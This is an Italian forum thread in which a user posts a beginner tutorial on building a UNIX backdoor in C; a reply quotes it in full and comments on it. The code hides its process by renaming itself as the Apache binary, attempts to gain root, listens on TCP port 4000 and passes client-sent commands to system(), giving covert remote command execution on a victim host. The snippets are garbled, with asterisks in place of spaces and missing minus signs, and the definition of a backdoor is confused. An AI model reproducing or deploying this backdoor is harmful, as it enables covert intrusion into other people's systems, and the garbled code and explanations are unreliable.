• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

Guida Creare un BackDoor in ambiente UNIX.

Jules.

Nuovo utente
Autore del topic
14 Agosto 2014
29
0
Miglior risposta
0
Salve sciax 2.

Oggi vi insegnerò come fare un elementare backdoor in ambiente UNIX. ^^

Prima di tutto cos'è un Backdoor?

Un Backdoor sono delle porte scoperte in cui un malware (VIRUS, TROJAN, GEN) possono infettare il computer in cui le porte sono sbloccate.
Molte volte sono molto pericolosi perchè un backdoor potrebbe anche Dossare qualche sito, e darne e svelarne le proprie informazioni personali.

(Vi consiglio di scaricarvi una macchina virtuale come Virtual Box e scaricarvi Black track. Questo OS faciliterà l'hacking.)

Attenzione :
Questa guida è solo a scopo informativo.
Non mi ritengo responsabile dell'uso che ne farete!


Bene ora passiamo ai requisiti :

- Buona conoscenza del C
- Buona conoscenza delle shell UNIX
- Programmazzione TCP/IP in ambiente UNIX

Cominciamo :

La prima cosa che vogliamo fare sull'host vittima è evitare che un utente “legittimo” scopra
di avere una backdoor installata sul suo sistema guardando i processi attivi con un
semplice `ps` e poi, se possibile, innalzare i nostri privilegi fino a quelli di root


Quindi su un blocco note scriviamo questo :

"strcpy(argv[0],"/usr/sbin/httpd");
setuid(0);*setgid(0);
"

In questo modo sovrascrivo al nome del programma, ad esempio, il server Apache, in
modo da ingannare l'utente che va a vedere i processi attivi, quindi provo, se possibile, a
ottenere i privilegi di root.
Ora inizializzo l'indirizzo del server:

"#*define PORT 4000
struct*sockaddr_in*server,client;

...

addr_init(&server,*PORT,*INADDR_ANY);
"

Dove addr_init è una funzione così definita:

"void*addr_init(struct*sockaddr_in**addr,*int*port,*long*ip)**{
*****addr*>sin_family*=*AF_INET;
*****addr*>sin_port =*htons(port);
*****addr*>sin_addr.s_addr*=*ip;"
}
che inizializza l'IP del server.
Ora sfruttando il protocollo TCP apro un socket:

"int*sd;
...
if*((sd*=*socket(AF_INET, SOCK_STREAM,*0))==*1)
exit(1);
E associo questo socket al mio server attraverso una bind:
int*sin_len*=*sizeof(struct*sockaddr_in);
...
if*(*(bind(sd,*(struct*sockaddr*)*&server,*sin_len))*==**1)
**********exit(1);
"

Infine, pongo il socket in ascolto per richieste di connessione:

"#define MAX_CONN 3
...
if*(*(listen(sd,MAX_CONN))*==**1)
**********exit(1);
"
Quindi accetto le connessioni in ingresso sul socket su un nuovo socket che creo tra il
server e il nuovo client:

"int*new_sd;if*(*(new_sd*=*accept(sd, (struct*sockaddr*)*&client,*&sin_len))*==**1)
exit(1);
"

Insomma, la solita routine per inizializzare un server.
Ora creo un ciclo infinito in cui elaboro le informazioni richieste dal client :

"char*file[100],*cmd[1000],*new_cmd[1200];
snprintf(file,100,"%s/.cmd",getenv("HOME"));
...
for(;;) *{



read(new_sd,*cmd,*sizeof(cmd));
memset(new_cmd,*0x0,*sizeof(new_cmd));
snprintf(new_cmd,*sizeof(new_cmd), "%s*>*%s",cmd,file);
system(new_cmd);
"


Per ora finiamo qui. Così rileggendolo capirete meglio.

Fonte : Metà mia metà web.


La giuda sarà in continuo aggiornamento.
 
Ultima modifica:
Salve sciax 2.

Oggi vi insegnerò come fare un elementare backdoor in ambiente UNIX. ^^

(Vi consiglio di scaricarvi una macchina virtuale come Virtual Box e scaricarvi Black track. Questo OS faciliterà l'hacking.)

Attenzione :
Questa guida è solo a scopo informativo.
Non mi ritengo responsabile dell'uso che ne farete!


Bene ora passiamo ai requisiti :

- Buona conoscenza del C
- Buona conoscenza delle shell UNIX
- Programmazzione TCP/IP in ambiente UNIX

Cominciamo :

La prima cosa che vogliamo fare sull'host vittima è evitare che un utente “legittimo” scopra
di avere una backdoor installata sul suo sistema guardando i processi attivi con un
semplice `ps` e poi, se possibile, innalzare i nostri privilegi fino a quelli di root


Quindi su un blocco note scriviamo questo :

"strcpy(argv[0],"/usr/sbin/httpd");
setuid(0);*setgid(0);
"

In questo modo sovrascrivo al nome del programma, ad esempio, il server Apache, in
modo da ingannare l'utente che va a vedere i processi attivi, quindi provo, se possibile, a
ottenere i privilegi di root.
Ora inizializzo l'indirizzo del server:

"#*define PORT 4000
struct*sockaddr_in*server,client;

...

addr_init(&server,*PORT,*INADDR_ANY);
"

Dove addr_init è una funzione così definita:

"void*addr_init(struct*sockaddr_in**addr,*int*port,*long*ip)**{
*****addr*>sin_family*=*AF_INET;
*****addr*>sin_port =*htons(port);
*****addr*>sin_addr.s_addr*=*ip;"
}
che inizializza l'IP del server.
Ora sfruttando il protocollo TCP apro un socket:

"int*sd;
...
if*((sd*=*socket(AF_INET, SOCK_STREAM,*0))==*1)
exit(1);
E associo questo socket al mio server attraverso una bind:
int*sin_len*=*sizeof(struct*sockaddr_in);
...
if*(*(bind(sd,*(struct*sockaddr*)*&server,*sin_len))*==**1)
**********exit(1);
"

Infine, pongo il socket in ascolto per richieste di connessione:

"#define MAX_CONN 3
...
if*(*(listen(sd,MAX_CONN))*==**1)
**********exit(1);
"
Quindi accetto le connessioni in ingresso sul socket su un nuovo socket che creo tra il
server e il nuovo client:

"int*new_sd;if*(*(new_sd*=*accept(sd, (struct*sockaddr*)*&client,*&sin_len))*==**1)
exit(1);
"

Insomma, la solita routine per inizializzare un server.
Ora creo un ciclo infinito in cui elaboro le informazioni richieste dal client :

"char*file[100],*cmd[1000],*new_cmd[1200];
snprintf(file,100,"%s/.cmd",getenv("HOME"));
...
for(;;) *{



read(new_sd,*cmd,*sizeof(cmd));
memset(new_cmd,*0x0,*sizeof(new_cmd));
snprintf(new_cmd,*sizeof(new_cmd), "%s*>*%s",cmd,file);
system(new_cmd);
"


Per ora finiamo qui. Così rileggendolo capirete meglio.

Fonte : Metà mia metà web.


La giuda sarà in continuo aggiornamento.
per i principianti è una buona guida, solo dovresti spiegare cosa sia un backdoor e poi dovresti anche specificare verso quale os è rivolto
 
Certo. :emoji_smiley:
Prima di tutto infatti l'ho fatto apposta per iniziare a far capire i principianti. :soso:
Poi aumenterò sempre più di livello. :|